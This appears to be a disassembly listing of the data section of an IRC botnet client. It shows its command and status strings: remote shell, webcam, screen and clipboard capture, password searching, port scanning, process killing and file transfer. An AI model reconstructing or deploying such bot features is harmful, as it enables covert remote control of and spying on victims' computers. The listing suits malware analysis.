dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+60DEo dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_434308 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+6030o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_434344 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+6025o dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 10h ; char dword_434380 dword_434380 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5FC1o dd 2BBBB02h, 73252020h, 0 ; char unk_4343A0 unk_4343A0 db 2 ; DATA XREF: sub_40EE51+5F97o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 ; char dword_4343EC dword_4343EC dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40EE51+5F21o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40EE51+5F1Bo align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_40EE51+5F14o align 4 ; char aSec[] aSec db 'sec',0 ; DATA XREF: sub_40EE51+5EB9o ; char aSecure[] aSecure db 'secure',0 ; DATA XREF: sub_40EE51+5EA8o align 4 unk_434438 db 2 ; DATA XREF: sub_40EE51+5E9Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_434480 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE51+5D7Bo dword_434490 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE51+5D76o dword_43449C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE51+5D63o dword_4344A8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40EE51+5D5Eo dword_4344B8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5D2Bo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh ; char aQuitReconnecti[] aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE51:loc_414B6Fo align 4 dword_4344F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5D09o dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 ; char aQuitDisconnect[] aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE51:loc_414B4Do align 4 ; char aQuitS[] aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+5CD4o align 4 ; char dword_434548 dword_434548 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5C88o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 ; char dword_434584 dword_434584 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5C4Ao dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh ; char dword_4345AC dword_4345AC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE51+5C1Fo dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 ; char dword_4345F4 dword_4345F4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE51+5BB4o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h ; char aSub[] aSub db 'sub',0 ; DATA XREF: sub_40EE51+5B8Eo dword_434624 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5B3Fo dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_43464C dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5B24o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 ; char dword_434694 dword_434694 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5A97o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_4346BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5A16o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_4346E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+59E7o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_43470C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5992o dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_434734 db 2 ; DATA XREF: sub_40EE51+597Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 4 ; char dword_434784 dword_434784 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EE51+5910o dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h ; char aFull[] aFull db 'full',0 ; DATA XREF: sub_40EE51+58F0o align 4 unk_4347BC db 2 ; DATA XREF: sub_40EE51+5899o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 10h ; char unk_4347F0 unk_4347F0 db 2 ; DATA XREF: sub_40EE51+586Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 10h ; char dword_434820 dword_434820 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5821o dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh ; char dword_434848 dword_434848 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_4145B0o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_434878 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5758o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 10h dword_4348B0 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+573Co dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_4348E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+5726o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE51+56F8o align 4 unk_434928 db 2 ; DATA XREF: sub_40EE51:loc_414539o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 ; char unk_434964 unk_434964 db 2 ; DATA XREF: sub_40EE51+56CDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_434998 db 2 ; DATA XREF: sub_40EE51:loc_41450Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_4349D4 db 2 ; DATA XREF: sub_40EE51:loc_414507o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_434A10 db 2 ; DATA XREF: sub_40EE51+56AFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 ; char dword_434A44 dword_434A44 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE51+563Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 10h ; char dword_434A90 dword_434A90 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE51+55D4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 unk_434ADC db 2 ; DATA XREF: sub_40EE51+550Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_434B24 db 2 ; DATA XREF: sub_40EE51+5395o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_434B6C db 2 ; DATA XREF: sub_40EE51+526Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_434B98 db 2 ; DATA XREF: sub_40EE51+5257o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 ; char unk_434BE4 unk_434BE4 db 2 ; DATA XREF: sub_40EE51+51D4o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_434C1C db 2 ; DATA XREF: sub_40EE51:loc_414001o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 10h ; char unk_434C60 unk_434C60 db 2 ; DATA XREF: sub_40EE51+50F1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_434CD8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4EB1o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_434D0C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4E98o dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_434D3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4E78o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_434D6C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4E5Fo dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h ; char dword_434D94 dword_434D94 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_413C32o dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_434DD0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE51+4DDAo dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_434E04 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_413BE5o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 ; char dword_434E3C dword_434E3C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE51+4D7Bo dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 ; char aAll[] aAll db 'all',0 ; DATA XREF: sub_40EE51+4D61o ; char aQuitLater[] aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+4CDAo ; sub_40EE51:loc_414B37o align 4 dword_434E88 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4C62o dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_434EBC db 3 ; DATA XREF: sub_40EE51:loc_413A9Eo db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 10h unk_434F00 db 3 ; DATA XREF: sub_40EE51+4C43o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 ; char dword_434F3C dword_434F3C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4C1Ao dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h ; char dword_434F70 dword_434F70 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_413A1Co dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 ; char dword_434FA8 dword_434FA8 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4BA0o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_434FD4 db 2 ; DATA XREF: sub_40EE51:loc_4139BDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_435014 db 2 ; DATA XREF: sub_40EE51+4B62o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 ; char unk_435048 unk_435048 db 2 ; DATA XREF: sub_40EE51:loc_41395Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_43508C db 2 ; DATA XREF: sub_40EE51+4B05o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_4350C4 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE51+4AC4o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 ; char dword_4350F0 dword_4350F0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4A3Fo dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_435124 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE51+49CDo dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_435148 db 2 ; DATA XREF: sub_40EE51+49B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 ; char dword_435194 dword_435194 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE51+4943o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_4351BC dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE51:loc_413725o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4351E8 db 2 ; DATA XREF: sub_40EE51+48CAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_435214 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4899o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_43523C dd 7A026E02h, 201F6D1Fh, 646D6328h ; DATA XREF: sub_40EE51+488Eo db 2Eh byte_435249 db 70h, 1Fh, 6Ch ; DATA XREF: UPX0:off_4264DCo dd 2029671Fh, 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_435278 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+484Eo dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 ; char dword_4352A8 dword_4352A8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+483Ao dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_4352DC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_41361Ao dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_435328 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_413610o dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_435378 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51+47B5o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 4 ; char dword_4353B4 dword_4353B4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_41356Eo dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 4 dword_4353FC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_413567o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 10h ; char dword_435440 dword_435440 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51+4706o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 4 ; char aFrame[] aFrame db 'frame',0 ; DATA XREF: sub_40EE51:loc_4134DBo align 4 ; char dword_435484 dword_435484 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51+467Do dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 ; char dword_4354B8 dword_4354B8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51+4647o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 ; char aDrivers[] aDrivers db 'drivers',0 ; DATA XREF: sub_40EE51:loc_413444o ; char dword_4354F4 dword_4354F4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_413431o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_43553C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51:loc_41342Ao dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 ; char dword_435578 dword_435578 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE51+45C9o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 ; char aScreen[] aScreen db 'screen',0 ; DATA XREF: sub_40EE51:loc_4133E1o align 4 ; char dword_4355BC dword_4355BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4572o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h ; char dword_4355E4 dword_4355E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4537o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 ; char dword_435624 dword_435624 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+451Bo dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 ; char dword_435658 dword_435658 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4499o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 ; char dword_435684[] dword_435684 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+445Eo dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 10h ; char dword_4356B0[] dword_4356B0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4408o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_4356DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+43A0o dd 2BBBB02h, 79432020h, 2E656C63h, 0 ; char dword_435700[] dword_435700 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE51+4366o ; sub_40EE51+4E6Ao ; char dword_43570C[] dword_43570C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51+4337o dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 ; char aModeS_0[] aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE51+4329o align 4 dword_435744 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE51+4300o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_435770 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE51+4295o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h ; char aModeS[] aModeS db 'MODE %s',0 ; DATA XREF: sub_40EE51+4240o ; char dword_4357A4[] dword_4357A4 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE51+420Bo dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h ; char aNickS_0[] aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40EE51+41B5o ; sub_40EE51+4CA4o ; char aJoinSS[] aJoinSS db 'JOIN %s %s',0 ; DATA XREF: sub_40EE51+4196o align 4 ; char aPartS[] aPartS db 'PART %s',0 ; DATA XREF: sub_40EE51+412Co dword_4357EC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE51:loc_412F6Ao dd 2BBBB02h 